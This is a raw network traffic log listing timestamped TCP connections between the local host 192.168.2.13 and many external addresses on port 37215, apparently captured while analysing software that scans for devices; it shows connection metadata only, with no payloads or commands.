Aug 17, 2024 01:01:53.642788887 CEST	45292	37215	192.168.2.13	156.166.210.31
Aug 17, 2024 01:01:53.642800093 CEST	36736	37215	192.168.2.13	41.45.100.253
Aug 17, 2024 01:01:53.642806053 CEST	49752	37215	192.168.2.13	41.104.61.6
Aug 17, 2024 01:01:53.642836094 CEST	37215	38760	197.54.105.36	192.168.2.13
Aug 17, 2024 01:01:53.642839909 CEST	37215	50964	156.26.186.237	192.168.2.13
Aug 17, 2024 01:01:53.642843962 CEST	45292	37215	192.168.2.13	156.166.210.31
Aug 17, 2024 01:01:53.642848969 CEST	37215	51476	156.26.186.237	192.168.2.13
Aug 17, 2024 01:01:53.642853022 CEST	37215	47518	156.253.101.35	192.168.2.13
Aug 17, 2024 01:01:53.642855883 CEST	43346	37215	192.168.2.13	156.115.73.165
Aug 17, 2024 01:01:53.642874956 CEST	51476	37215	192.168.2.13	156.26.186.237
Aug 17, 2024 01:01:53.642889023 CEST	38760	37215	192.168.2.13	197.54.105.36
Aug 17, 2024 01:01:53.642889023 CEST	38760	37215	192.168.2.13	197.54.105.36
Aug 17, 2024 01:01:53.642896891 CEST	51476	37215	192.168.2.13	156.26.186.237
Aug 17, 2024 01:01:53.642960072 CEST	37215	50298	156.76.37.32	192.168.2.13
Aug 17, 2024 01:01:53.642965078 CEST	37215	48030	156.253.101.35	192.168.2.13
Aug 17, 2024 01:01:53.642972946 CEST	37215	39096	156.17.61.123	192.168.2.13
Aug 17, 2024 01:01:53.642991066 CEST	50298	37215	192.168.2.13	156.76.37.32
Aug 17, 2024 01:01:53.642997026 CEST	48030	37215	192.168.2.13	156.253.101.35
Aug 17, 2024 01:01:53.643107891 CEST	37215	39608	156.17.61.123	192.168.2.13
Aug 17, 2024 01:01:53.643110037 CEST	48030	37215	192.168.2.13	156.253.101.35
Aug 17, 2024 01:01:53.643112898 CEST	37215	32778	197.79.139.209	192.168.2.13
Aug 17, 2024 01:01:53.643135071 CEST	37215	49124	41.233.157.31	192.168.2.13
Aug 17, 2024 01:01:53.643140078 CEST	37215	49634	41.233.157.31	192.168.2.13
Aug 17, 2024 01:01:53.643140078 CEST	39608	37215	192.168.2.13	156.17.61.123
Aug 17, 2024 01:01:53.643150091 CEST	37215	49020	156.171.85.227	192.168.2.13
Aug 17, 2024 01:01:53.643153906 CEST	37215	44482	41.41.8.19	192.168.2.13
Aug 17, 2024 01:01:53.643162012 CEST	49634	37215	192.168.2.13	41.233.157.31
Aug 17, 2024 01:01:53.643162966 CEST	37215	33290	197.79.139.209	192.168.2.13
Aug 17, 2024 01:01:53.643176079 CEST	37215	49530	156.171.85.227	192.168.2.13
Aug 17, 2024 01:01:53.643181086 CEST	37215	43106	156.189.137.76	192.168.2.13
Aug 17, 2024 01:01:53.643182039 CEST	39608	37215	192.168.2.13	156.17.61.123
Aug 17, 2024 01:01:53.643182039 CEST	44482	37215	192.168.2.13	41.41.8.19
Aug 17, 2024 01:01:53.643198967 CEST	33290	37215	192.168.2.13	197.79.139.209
Aug 17, 2024 01:01:53.643198967 CEST	49530	37215	192.168.2.13	156.171.85.227
Aug 17, 2024 01:01:53.643229008 CEST	49634	37215	192.168.2.13	41.233.157.31
Aug 17, 2024 01:01:53.643233061 CEST	33290	37215	192.168.2.13	197.79.139.209
Aug 17, 2024 01:01:53.643233061 CEST	49530	37215	192.168.2.13	156.171.85.227
Aug 17, 2024 01:01:53.643270016 CEST	37215	43622	156.189.137.76	192.168.2.13
Aug 17, 2024 01:01:53.643274069 CEST	37215	57782	156.132.106.251	192.168.2.13
Aug 17, 2024 01:01:53.643282890 CEST	37215	56588	156.35.87.155	192.168.2.13
Aug 17, 2024 01:01:53.643297911 CEST	43622	37215	192.168.2.13	156.189.137.76
Aug 17, 2024 01:01:53.643316031 CEST	43622	37215	192.168.2.13	156.189.137.76
Aug 17, 2024 01:01:53.643452883 CEST	37215	58294	156.132.106.251	192.168.2.13
Aug 17, 2024 01:01:53.643459082 CEST	37215	39542	156.146.165.57	192.168.2.13
Aug 17, 2024 01:01:53.643467903 CEST	37215	57100	156.35.87.155	192.168.2.13
Aug 17, 2024 01:01:53.643487930 CEST	58294	37215	192.168.2.13	156.132.106.251
Aug 17, 2024 01:01:53.643547058 CEST	57100	37215	192.168.2.13	156.35.87.155
Aug 17, 2024 01:01:53.643547058 CEST	58294	37215	192.168.2.13	156.132.106.251
Aug 17, 2024 01:01:53.643547058 CEST	57100	37215	192.168.2.13	156.35.87.155
Aug 17, 2024 01:01:53.643580914 CEST	37215	40054	156.146.165.57	192.168.2.13
Aug 17, 2024 01:01:53.643585920 CEST	37215	37468	41.56.20.161	192.168.2.13
Aug 17, 2024 01:01:53.643594980 CEST	37215	53318	197.34.26.60	192.168.2.13
Aug 17, 2024 01:01:53.643598080 CEST	37215	53830	197.34.26.60	192.168.2.13
Aug 17, 2024 01:01:53.643606901 CEST	37215	38678	197.123.104.55	192.168.2.13
Aug 17, 2024 01:01:53.643615007 CEST	40054	37215	192.168.2.13	156.146.165.57
Aug 17, 2024 01:01:53.643625021 CEST	53830	37215	192.168.2.13	197.34.26.60
Aug 17, 2024 01:01:53.643656969 CEST	53830	37215	192.168.2.13	197.34.26.60
Aug 17, 2024 01:01:53.643767118 CEST	40054	37215	192.168.2.13	156.146.165.57
Aug 17, 2024 01:01:53.643783092 CEST	37215	39190	197.123.104.55	192.168.2.13
Aug 17, 2024 01:01:53.643791914 CEST	37215	42292	41.172.137.63	192.168.2.13
Aug 17, 2024 01:01:53.643795967 CEST	37215	42804	41.172.137.63	192.168.2.13
Aug 17, 2024 01:01:53.643819094 CEST	39190	37215	192.168.2.13	197.123.104.55
Aug 17, 2024 01:01:53.643825054 CEST	37215	37980	41.56.20.161	192.168.2.13
Aug 17, 2024 01:01:53.643826008 CEST	42804	37215	192.168.2.13	41.172.137.63
Aug 17, 2024 01:01:53.643830061 CEST	37215	39166	41.91.242.163	192.168.2.13
Aug 17, 2024 01:01:53.643834114 CEST	39190	37215	192.168.2.13	197.123.104.55
Aug 17, 2024 01:01:53.643838882 CEST	37215	39678	41.91.242.163	192.168.2.13
Aug 17, 2024 01:01:53.643845081 CEST	37215	55790	197.145.210.32	192.168.2.13
Aug 17, 2024 01:01:53.643852949 CEST	37215	55278	197.145.210.32	192.168.2.13
Aug 17, 2024 01:01:53.643853903 CEST	37980	37215	192.168.2.13	41.56.20.161
Aug 17, 2024 01:01:53.643860102 CEST	42804	37215	192.168.2.13	41.172.137.63
Aug 17, 2024 01:01:53.643870115 CEST	39678	37215	192.168.2.13	41.91.242.163
Aug 17, 2024 01:01:53.643870115 CEST	55790	37215	192.168.2.13	197.145.210.32
Aug 17, 2024 01:01:53.643894911 CEST	39678	37215	192.168.2.13	41.91.242.163
Aug 17, 2024 01:01:53.643899918 CEST	55790	37215	192.168.2.13	197.145.210.32
Aug 17, 2024 01:01:53.643965006 CEST	37215	38192	41.49.222.155	192.168.2.13
Aug 17, 2024 01:01:53.643969059 CEST	37215	52242	41.107.6.35	192.168.2.13
Aug 17, 2024 01:01:53.643985033 CEST	37980	37215	192.168.2.13	41.56.20.161
Aug 17, 2024 01:01:53.643996954 CEST	52242	37215	192.168.2.13	41.107.6.35
Aug 17, 2024 01:01:53.644196033 CEST	37215	38704	41.49.222.155	192.168.2.13
Aug 17, 2024 01:01:53.644200087 CEST	37215	57154	197.47.45.83	192.168.2.13
Aug 17, 2024 01:01:53.644207954 CEST	37215	57666	197.47.45.83	192.168.2.13
Aug 17, 2024 01:01:53.644233942 CEST	57666	37215	192.168.2.13	197.47.45.83
Aug 17, 2024 01:01:53.644237995 CEST	38704	37215	192.168.2.13	41.49.222.155
Aug 17, 2024 01:01:53.644262075 CEST	57666	37215	192.168.2.13	197.47.45.83
Aug 17, 2024 01:01:53.644313097 CEST	37215	35498	156.92.98.192	192.168.2.13
Aug 17, 2024 01:01:53.644318104 CEST	37215	50766	197.71.250.24	192.168.2.13
Aug 17, 2024 01:01:53.644326925 CEST	37215	51278	197.71.250.24	192.168.2.13
Aug 17, 2024 01:01:53.644331932 CEST	37215	58852	156.216.77.222	192.168.2.13
Aug 17, 2024 01:01:53.644347906 CEST	35498	37215	192.168.2.13	156.92.98.192
Aug 17, 2024 01:01:53.644378901 CEST	51278	37215	192.168.2.13	197.71.250.24
Aug 17, 2024 01:01:53.644378901 CEST	51278	37215	192.168.2.13	197.71.250.24
Aug 17, 2024 01:01:53.644750118 CEST	37215	39562	197.237.253.232	192.168.2.13
Aug 17, 2024 01:01:53.644754887 CEST	37215	56488	197.182.51.118	192.168.2.13
Aug 17, 2024 01:01:53.644763947 CEST	37215	59364	156.216.77.222	192.168.2.13
Aug 17, 2024 01:01:53.644788980 CEST	56488	37215	192.168.2.13	197.182.51.118
Aug 17, 2024 01:01:53.644808054 CEST	59364	37215	192.168.2.13	156.216.77.222
Aug 17, 2024 01:01:53.644820929 CEST	37215	58770	41.143.146.230	192.168.2.13
Aug 17, 2024 01:01:53.644826889 CEST	37215	54368	41.108.21.210	192.168.2.13
Aug 17, 2024 01:01:53.644841909 CEST	38704	37215	192.168.2.13	41.49.222.155
Aug 17, 2024 01:01:53.644850969 CEST	58770	37215	192.168.2.13	41.143.146.230
Aug 17, 2024 01:01:53.644855022 CEST	37215	39406	41.246.110.105	192.168.2.13
Aug 17, 2024 01:01:53.644893885 CEST	39406	37215	192.168.2.13	41.246.110.105
Aug 17, 2024 01:01:53.644932032 CEST	59364	37215	192.168.2.13	156.216.77.222
Aug 17, 2024 01:01:53.645087957 CEST	37215	54880	41.108.21.210	192.168.2.13
Aug 17, 2024 01:01:53.645092964 CEST	37215	40074	197.237.253.232	192.168.2.13
Aug 17, 2024 01:01:53.645101070 CEST	37215	51074	156.209.68.171	192.168.2.13
Aug 17, 2024 01:01:53.645123005 CEST	54880	37215	192.168.2.13	41.108.21.210
Aug 17, 2024 01:01:53.645128012 CEST	40074	37215	192.168.2.13	197.237.253.232
Aug 17, 2024 01:01:53.645149946 CEST	54880	37215	192.168.2.13	41.108.21.210
Aug 17, 2024 01:01:53.645169973 CEST	37215	37296	156.144.162.99	192.168.2.13
Aug 17, 2024 01:01:53.645174980 CEST	37215	51586	156.209.68.171	192.168.2.13
Aug 17, 2024 01:01:53.645183086 CEST	37215	38488	156.129.216.236	192.168.2.13
Aug 17, 2024 01:01:53.645185947 CEST	37215	39000	156.129.216.236	192.168.2.13
Aug 17, 2024 01:01:53.645201921 CEST	37296	37215	192.168.2.13	156.144.162.99
Aug 17, 2024 01:01:53.645216942 CEST	40074	37215	192.168.2.13	197.237.253.232
Aug 17, 2024 01:01:53.645216942 CEST	39000	37215	192.168.2.13	156.129.216.236
Aug 17, 2024 01:01:53.645236015 CEST	51586	37215	192.168.2.13	156.209.68.171
Aug 17, 2024 01:01:53.645236015 CEST	51586	37215	192.168.2.13	156.209.68.171
Aug 17, 2024 01:01:53.645260096 CEST	39000	37215	192.168.2.13	156.129.216.236
Aug 17, 2024 01:01:53.645359039 CEST	37215	34106	156.239.26.109	192.168.2.13
Aug 17, 2024 01:01:53.645363092 CEST	37215	33594	156.239.26.109	192.168.2.13
Aug 17, 2024 01:01:53.645371914 CEST	37215	40962	41.23.173.105	192.168.2.13
Aug 17, 2024 01:01:53.645399094 CEST	34106	37215	192.168.2.13	156.239.26.109
Aug 17, 2024 01:01:53.645412922 CEST	40962	37215	192.168.2.13	41.23.173.105
Aug 17, 2024 01:01:53.645479918 CEST	37215	59762	156.12.209.120	192.168.2.13
Aug 17, 2024 01:01:53.645600080 CEST	37215	60274	156.12.209.120	192.168.2.13
Aug 17, 2024 01:01:53.645613909 CEST	34106	37215	192.168.2.13	156.239.26.109
Aug 17, 2024 01:01:53.645629883 CEST	60274	37215	192.168.2.13	156.12.209.120
Aug 17, 2024 01:01:53.645642996 CEST	37215	51360	41.13.249.100	192.168.2.13
Aug 17, 2024 01:01:53.645647049 CEST	37215	41294	197.55.126.137	192.168.2.13
Aug 17, 2024 01:01:53.645648003 CEST	60274	37215	192.168.2.13	156.12.209.120
Aug 17, 2024 01:01:53.645651102 CEST	37215	41284	156.149.180.114	192.168.2.13
Aug 17, 2024 01:01:53.645654917 CEST	37215	41806	197.55.126.137	192.168.2.13
Aug 17, 2024 01:01:53.645725965 CEST	37215	51872	41.13.249.100	192.168.2.13
Aug 17, 2024 01:01:53.645729065 CEST	37215	53720	197.237.132.166	192.168.2.13
Aug 17, 2024 01:01:53.645733118 CEST	37215	54232	197.237.132.166	192.168.2.13
Aug 17, 2024 01:01:53.645737886 CEST	37215	54366	41.238.184.113	192.168.2.13
Aug 17, 2024 01:01:53.645747900 CEST	37215	54878	41.238.184.113	192.168.2.13
Aug 17, 2024 01:01:53.645751953 CEST	37215	44290	41.241.76.22	192.168.2.13
Aug 17, 2024 01:01:53.645752907 CEST	41806	37215	192.168.2.13	197.55.126.137
Aug 17, 2024 01:01:53.645756006 CEST	51872	37215	192.168.2.13	41.13.249.100
Aug 17, 2024 01:01:53.645765066 CEST	54232	37215	192.168.2.13	197.237.132.166
Aug 17, 2024 01:01:53.645780087 CEST	44290	37215	192.168.2.13	41.241.76.22
Aug 17, 2024 01:01:53.645780087 CEST	54878	37215	192.168.2.13	41.238.184.113
Aug 17, 2024 01:01:53.645818949 CEST	54232	37215	192.168.2.13	197.237.132.166
Aug 17, 2024 01:01:53.645824909 CEST	54878	37215	192.168.2.13	41.238.184.113
Aug 17, 2024 01:01:53.645894051 CEST	51872	37215	192.168.2.13	41.13.249.100
Aug 17, 2024 01:01:53.645951986 CEST	37215	60714	156.242.208.174	192.168.2.13
Aug 17, 2024 01:01:53.645956993 CEST	37215	32994	156.242.208.174	192.168.2.13
Aug 17, 2024 01:01:53.645967007 CEST	37215	34672	197.84.105.39	192.168.2.13
Aug 17, 2024 01:01:53.645967960 CEST	41806	37215	192.168.2.13	197.55.126.137
Aug 17, 2024 01:01:53.645971060 CEST	37215	35180	197.84.105.39	192.168.2.13
Aug 17, 2024 01:01:53.645981073 CEST	37215	42188	41.29.206.66	192.168.2.13
Aug 17, 2024 01:01:53.645986080 CEST	32994	37215	192.168.2.13	156.242.208.174
Aug 17, 2024 01:01:53.645997047 CEST	35180	37215	192.168.2.13	197.84.105.39
Aug 17, 2024 01:01:53.646011114 CEST	32994	37215	192.168.2.13	156.242.208.174
Aug 17, 2024 01:01:53.646029949 CEST	35180	37215	192.168.2.13	197.84.105.39
Aug 17, 2024 01:01:53.646111012 CEST	37215	51444	197.255.100.152	192.168.2.13
Aug 17, 2024 01:01:53.646120071 CEST	37215	42696	41.29.206.66	192.168.2.13
Aug 17, 2024 01:01:53.646125078 CEST	37215	41796	156.149.180.114	192.168.2.13
Aug 17, 2024 01:01:53.646141052 CEST	37215	51952	197.255.100.152	192.168.2.13
Aug 17, 2024 01:01:53.646161079 CEST	42696	37215	192.168.2.13	41.29.206.66
Aug 17, 2024 01:01:53.646163940 CEST	41796	37215	192.168.2.13	156.149.180.114
Aug 17, 2024 01:01:53.646183968 CEST	51952	37215	192.168.2.13	197.255.100.152
Aug 17, 2024 01:01:53.646183968 CEST	41796	37215	192.168.2.13	156.149.180.114
Aug 17, 2024 01:01:53.646265030 CEST	42696	37215	192.168.2.13	41.29.206.66
Aug 17, 2024 01:01:53.646333933 CEST	37215	46056	41.177.53.203	192.168.2.13
Aug 17, 2024 01:01:53.646348000 CEST	37215	33922	156.163.60.231	192.168.2.13
Aug 17, 2024 01:01:53.646352053 CEST	37215	48322	41.144.31.227	192.168.2.13
Aug 17, 2024 01:01:53.646356106 CEST	51952	37215	192.168.2.13	197.255.100.152
Aug 17, 2024 01:01:53.646368027 CEST	46056	37215	192.168.2.13	41.177.53.203
Aug 17, 2024 01:01:53.646533966 CEST	37215	34440	156.163.60.231	192.168.2.13
Aug 17, 2024 01:01:53.646541119 CEST	37215	51900	156.80.128.187	192.168.2.13
Aug 17, 2024 01:01:53.646545887 CEST	37215	48840	41.144.31.227	192.168.2.13
Aug 17, 2024 01:01:53.646549940 CEST	37215	51662	156.240.61.236	192.168.2.13
Aug 17, 2024 01:01:53.646558046 CEST	37215	52174	156.240.61.236	192.168.2.13
Aug 17, 2024 01:01:53.646562099 CEST	37215	41722	197.190.235.213	192.168.2.13
Aug 17, 2024 01:01:53.646564960 CEST	37215	42234	197.190.235.213	192.168.2.13
Aug 17, 2024 01:01:53.646565914 CEST	34440	37215	192.168.2.13	156.163.60.231
Aug 17, 2024 01:01:53.646569014 CEST	51900	37215	192.168.2.13	156.80.128.187
Aug 17, 2024 01:01:53.646569967 CEST	37215	59392	41.142.46.158	192.168.2.13
Aug 17, 2024 01:01:53.646576881 CEST	48840	37215	192.168.2.13	41.144.31.227
Aug 17, 2024 01:01:53.646576881 CEST	52174	37215	192.168.2.13	156.240.61.236
Aug 17, 2024 01:01:53.646579981 CEST	37215	35560	197.247.114.223	192.168.2.13
Aug 17, 2024 01:01:53.646584034 CEST	37215	59902	41.142.46.158	192.168.2.13
Aug 17, 2024 01:01:53.646589041 CEST	37215	44328	41.168.93.42	192.168.2.13
Aug 17, 2024 01:01:53.646598101 CEST	37215	44836	41.168.93.42	192.168.2.13
Aug 17, 2024 01:01:53.646598101 CEST	42234	37215	192.168.2.13	197.190.235.213
Aug 17, 2024 01:01:53.646615028 CEST	59902	37215	192.168.2.13	41.142.46.158
Aug 17, 2024 01:01:53.646619081 CEST	35560	37215	192.168.2.13	197.247.114.223
Aug 17, 2024 01:01:53.646619081 CEST	34440	37215	192.168.2.13	156.163.60.231
Aug 17, 2024 01:01:53.646631002 CEST	48840	37215	192.168.2.13	41.144.31.227
Aug 17, 2024 01:01:53.646631002 CEST	52174	37215	192.168.2.13	156.240.61.236
Aug 17, 2024 01:01:53.646632910 CEST	44836	37215	192.168.2.13	41.168.93.42
Aug 17, 2024 01:01:53.646660089 CEST	42234	37215	192.168.2.13	197.190.235.213
Aug 17, 2024 01:01:53.646668911 CEST	59902	37215	192.168.2.13	41.142.46.158
Aug 17, 2024 01:01:53.646729946 CEST	37215	56856	41.128.12.110	192.168.2.13
Aug 17, 2024 01:01:53.646733999 CEST	37215	57372	41.128.12.110	192.168.2.13
Aug 17, 2024 01:01:53.646739960 CEST	44836	37215	192.168.2.13	41.168.93.42
Aug 17, 2024 01:01:53.646744013 CEST	37215	54210	197.85.215.106	192.168.2.13
Aug 17, 2024 01:01:53.646749020 CEST	37215	54724	197.85.215.106	192.168.2.13
Aug 17, 2024 01:01:53.646753073 CEST	37215	33402	197.2.142.241	192.168.2.13
Aug 17, 2024 01:01:53.646763086 CEST	37215	48126	156.15.197.74	192.168.2.13
Aug 17, 2024 01:01:53.646765947 CEST	57372	37215	192.168.2.13	41.128.12.110
Aug 17, 2024 01:01:53.646766901 CEST	37215	33914	197.2.142.241	192.168.2.13
Aug 17, 2024 01:01:53.646771908 CEST	37215	55634	156.19.191.121	192.168.2.13
Aug 17, 2024 01:01:53.646775961 CEST	54724	37215	192.168.2.13	197.85.215.106
Aug 17, 2024 01:01:53.646783113 CEST	37215	48638	156.15.197.74	192.168.2.13
Aug 17, 2024 01:01:53.646786928 CEST	37215	35452	41.13.99.189	192.168.2.13
Aug 17, 2024 01:01:53.646795988 CEST	37215	35964	41.13.99.189	192.168.2.13
Aug 17, 2024 01:01:53.646812916 CEST	55634	37215	192.168.2.13	156.19.191.121
Aug 17, 2024 01:01:53.646814108 CEST	48638	37215	192.168.2.13	156.15.197.74
Aug 17, 2024 01:01:53.646816015 CEST	35964	37215	192.168.2.13	41.13.99.189
Aug 17, 2024 01:01:53.646826982 CEST	57372	37215	192.168.2.13	41.128.12.110
Aug 17, 2024 01:01:53.646869898 CEST	33914	37215	192.168.2.13	197.2.142.241
Aug 17, 2024 01:01:53.646869898 CEST	33914	37215	192.168.2.13	197.2.142.241
Aug 17, 2024 01:01:53.646874905 CEST	35964	37215	192.168.2.13	41.13.99.189
Aug 17, 2024 01:01:53.646931887 CEST	48638	37215	192.168.2.13	156.15.197.74
Aug 17, 2024 01:01:53.646972895 CEST	37215	60294	156.143.227.151	192.168.2.13
Aug 17, 2024 01:01:53.646976948 CEST	37215	60806	156.143.227.151	192.168.2.13
Aug 17, 2024 01:01:53.646981001 CEST	37215	36922	156.98.66.59	192.168.2.13
Aug 17, 2024 01:01:53.646984100 CEST	54724	37215	192.168.2.13	197.85.215.106
Aug 17, 2024 01:01:53.646986961 CEST	37215	37434	156.98.66.59	192.168.2.13
Aug 17, 2024 01:01:53.646996975 CEST	37215	41752	156.36.147.114	192.168.2.13
Aug 17, 2024 01:01:53.647001028 CEST	37215	42264	156.36.147.114	192.168.2.13
Aug 17, 2024 01:01:53.647011042 CEST	37215	36196	197.75.220.203	192.168.2.13
Aug 17, 2024 01:01:53.647015095 CEST	37215	54116	197.243.143.226	192.168.2.13
Aug 17, 2024 01:01:53.647026062 CEST	42264	37215	192.168.2.13	156.36.147.114
Aug 17, 2024 01:01:53.647027969 CEST	37215	36708	197.75.220.203	192.168.2.13
Aug 17, 2024 01:01:53.647028923 CEST	60806	37215	192.168.2.13	156.143.227.151
Aug 17, 2024 01:01:53.647028923 CEST	60806	37215	192.168.2.13	156.143.227.151
Aug 17, 2024 01:01:53.647036076 CEST	54116	37215	192.168.2.13	197.243.143.226
Aug 17, 2024 01:01:53.647056103 CEST	36708	37215	192.168.2.13	197.75.220.203
Aug 17, 2024 01:01:53.647066116 CEST	37434	37215	192.168.2.13	156.98.66.59
Aug 17, 2024 01:01:53.647067070 CEST	37434	37215	192.168.2.13	156.98.66.59
Aug 17, 2024 01:01:53.647075891 CEST	42264	37215	192.168.2.13	156.36.147.114
Aug 17, 2024 01:01:53.647083044 CEST	36708	37215	192.168.2.13	197.75.220.203
Aug 17, 2024 01:01:53.647141933 CEST	37215	49032	156.202.146.80	192.168.2.13
Aug 17, 2024 01:01:53.647154093 CEST	37215	49544	156.202.146.80	192.168.2.13
Aug 17, 2024 01:01:53.647161961 CEST	37215	55478	197.122.70.151	192.168.2.13
Aug 17, 2024 01:01:53.647166014 CEST	37215	43046	156.32.51.163	192.168.2.13
Aug 17, 2024 01:01:53.647170067 CEST	37215	43558	156.32.51.163	192.168.2.13
Aug 17, 2024 01:01:53.647186995 CEST	49544	37215	192.168.2.13	156.202.146.80
Aug 17, 2024 01:01:53.647197008 CEST	43558	37215	192.168.2.13	156.32.51.163
Aug 17, 2024 01:01:53.647208929 CEST	49544	37215	192.168.2.13	156.202.146.80
Aug 17, 2024 01:01:53.647217035 CEST	43558	37215	192.168.2.13	156.32.51.163
Aug 17, 2024 01:01:53.647589922 CEST	37215	42418	156.2.64.216	192.168.2.13
Aug 17, 2024 01:01:53.647732019 CEST	37215	35212	156.234.12.197	192.168.2.13
Aug 17, 2024 01:01:53.647742987 CEST	55478	37215	192.168.2.13	197.122.70.151
Aug 17, 2024 01:01:53.647743940 CEST	37215	42930	156.2.64.216	192.168.2.13
Aug 17, 2024 01:01:53.647753954 CEST	37215	51466	156.255.236.9	192.168.2.13
Aug 17, 2024 01:01:53.647762060 CEST	37215	58358	41.86.175.224	192.168.2.13
Aug 17, 2024 01:01:53.647763014 CEST	35212	37215	192.168.2.13	156.234.12.197
Aug 17, 2024 01:01:53.647766113 CEST	37215	51978	156.255.236.9	192.168.2.13
Aug 17, 2024 01:01:53.647778034 CEST	42930	37215	192.168.2.13	156.2.64.216
Aug 17, 2024 01:01:53.647794962 CEST	42930	37215	192.168.2.13	156.2.64.216
Aug 17, 2024 01:01:53.647804022 CEST	37215	55754	156.52.107.115	192.168.2.13
Aug 17, 2024 01:01:53.647826910 CEST	55754	37215	192.168.2.13	156.52.107.115
Aug 17, 2024 01:01:53.647851944 CEST	51978	37215	192.168.2.13	156.255.236.9
Aug 17, 2024 01:01:53.647851944 CEST	51978	37215	192.168.2.13	156.255.236.9
Aug 17, 2024 01:01:53.647978067 CEST	37215	58430	156.224.204.5	192.168.2.13
Aug 17, 2024 01:01:53.647981882 CEST	37215	39542	197.101.53.18	192.168.2.13
Aug 17, 2024 01:01:53.648010969 CEST	37215	59656	41.155.139.184	192.168.2.13
Aug 17, 2024 01:01:53.648015976 CEST	37215	58870	41.86.175.224	192.168.2.13
Aug 17, 2024 01:01:53.648025036 CEST	37215	40054	197.101.53.18	192.168.2.13
Aug 17, 2024 01:01:53.648029089 CEST	37215	41660	197.119.15.213	192.168.2.13
Aug 17, 2024 01:01:53.648031950 CEST	37215	42172	197.119.15.213	192.168.2.13
Aug 17, 2024 01:01:53.648041010 CEST	59656	37215	192.168.2.13	41.155.139.184
Aug 17, 2024 01:01:53.648041964 CEST	37215	37522	156.96.27.201	192.168.2.13
Aug 17, 2024 01:01:53.648049116 CEST	58870	37215	192.168.2.13	41.86.175.224
Aug 17, 2024 01:01:53.648049116 CEST	40054	37215	192.168.2.13	197.101.53.18
Aug 17, 2024 01:01:53.648056984 CEST	42172	37215	192.168.2.13	197.119.15.213
Aug 17, 2024 01:01:53.648082972 CEST	58870	37215	192.168.2.13	41.86.175.224
Aug 17, 2024 01:01:53.648082972 CEST	40054	37215	192.168.2.13	197.101.53.18
Aug 17, 2024 01:01:53.648089886 CEST	42172	37215	192.168.2.13	197.119.15.213
Aug 17, 2024 01:01:53.648245096 CEST	37215	38034	156.96.27.201	192.168.2.13
Aug 17, 2024 01:01:53.648248911 CEST	37215	57020	156.15.58.220	192.168.2.13
Aug 17, 2024 01:01:53.648257971 CEST	37215	46226	156.60.205.173	192.168.2.13
Aug 17, 2024 01:01:53.648277998 CEST	38034	37215	192.168.2.13	156.96.27.201
Aug 17, 2024 01:01:53.648277998 CEST	57020	37215	192.168.2.13	156.15.58.220
Aug 17, 2024 01:01:53.648293018 CEST	38034	37215	192.168.2.13	156.96.27.201
Aug 17, 2024 01:01:53.648345947 CEST	37215	58942	156.224.204.5	192.168.2.13
Aug 17, 2024 01:01:53.648350000 CEST	37215	46738	156.60.205.173	192.168.2.13
Aug 17, 2024 01:01:53.648359060 CEST	37215	59294	197.15.117.242	192.168.2.13
Aug 17, 2024 01:01:53.648363113 CEST	37215	59806	197.15.117.242	192.168.2.13
Aug 17, 2024 01:01:53.648371935 CEST	37215	35638	41.120.181.114	192.168.2.13
Aug 17, 2024 01:01:53.648379087 CEST	58942	37215	192.168.2.13	156.224.204.5
Aug 17, 2024 01:01:53.648382902 CEST	46738	37215	192.168.2.13	156.60.205.173
Aug 17, 2024 01:01:53.648387909 CEST	59806	37215	192.168.2.13	197.15.117.242
Aug 17, 2024 01:01:53.648412943 CEST	46738	37215	192.168.2.13	156.60.205.173
Aug 17, 2024 01:01:53.648431063 CEST	37215	52188	156.14.140.227	192.168.2.13
Aug 17, 2024 01:01:53.648446083 CEST	59806	37215	192.168.2.13	197.15.117.242
Aug 17, 2024 01:01:53.648461103 CEST	52188	37215	192.168.2.13	156.14.140.227
Aug 17, 2024 01:01:53.648497105 CEST	58942	37215	192.168.2.13	156.224.204.5
Aug 17, 2024 01:01:53.648660898 CEST	37215	36150	41.120.181.114	192.168.2.13
Aug 17, 2024 01:01:53.648667097 CEST	37215	52852	41.16.221.37	192.168.2.13
Aug 17, 2024 01:01:53.648677111 CEST	37215	53364	41.16.221.37	192.168.2.13
Aug 17, 2024 01:01:53.648682117 CEST	37215	37314	41.124.95.54	192.168.2.13
Aug 17, 2024 01:01:53.648685932 CEST	37215	49006	156.123.207.66	192.168.2.13
Aug 17, 2024 01:01:53.648694038 CEST	37215	37826	41.124.95.54	192.168.2.13
Aug 17, 2024 01:01:53.648698092 CEST	36150	37215	192.168.2.13	41.120.181.114
Aug 17, 2024 01:01:53.648699045 CEST	37215	53424	197.106.197.143	192.168.2.13
Aug 17, 2024 01:01:53.648699999 CEST	53364	37215	192.168.2.13	41.16.221.37
Aug 17, 2024 01:01:53.648709059 CEST	49006	37215	192.168.2.13	156.123.207.66
Aug 17, 2024 01:01:53.648715019 CEST	37826	37215	192.168.2.13	41.124.95.54
Aug 17, 2024 01:01:53.648725986 CEST	36150	37215	192.168.2.13	41.120.181.114
Aug 17, 2024 01:01:53.648747921 CEST	53364	37215	192.168.2.13	41.16.221.37
Aug 17, 2024 01:01:53.648760080 CEST	37826	37215	192.168.2.13	41.124.95.54
Aug 17, 2024 01:01:53.648833990 CEST	37215	53936	197.106.197.143	192.168.2.13
Aug 17, 2024 01:01:53.648838997 CEST	37215	45850	41.102.49.176	192.168.2.13
Aug 17, 2024 01:01:53.648843050 CEST	37215	46362	41.102.49.176	192.168.2.13
Aug 17, 2024 01:01:53.648849010 CEST	37215	54562	197.187.239.101	192.168.2.13
Aug 17, 2024 01:01:53.648869038 CEST	53936	37215	192.168.2.13	197.106.197.143
Aug 17, 2024 01:01:53.648881912 CEST	53936	37215	192.168.2.13	197.106.197.143
Aug 17, 2024 01:01:53.648905039 CEST	46362	37215	192.168.2.13	41.102.49.176
Aug 17, 2024 01:01:53.648905993 CEST	37215	55074	197.187.239.101	192.168.2.13
Aug 17, 2024 01:01:53.648905993 CEST	46362	37215	192.168.2.13	41.102.49.176
Aug 17, 2024 01:01:53.648910999 CEST	37215	56002	156.83.15.188	192.168.2.13
Aug 17, 2024 01:01:53.648920059 CEST	37215	56514	156.83.15.188	192.168.2.13
Aug 17, 2024 01:01:53.648924112 CEST	37215	44028	41.241.115.118	192.168.2.13
Aug 17, 2024 01:01:53.648932934 CEST	37215	53544	156.188.180.172	192.168.2.13
Aug 17, 2024 01:01:53.648937941 CEST	55074	37215	192.168.2.13	197.187.239.101
Aug 17, 2024 01:01:53.648941994 CEST	37215	44540	41.241.115.118	192.168.2.13
Aug 17, 2024 01:01:53.648946047 CEST	56514	37215	192.168.2.13	156.83.15.188
Aug 17, 2024 01:01:53.648951054 CEST	37215	44202	197.156.34.51	192.168.2.13
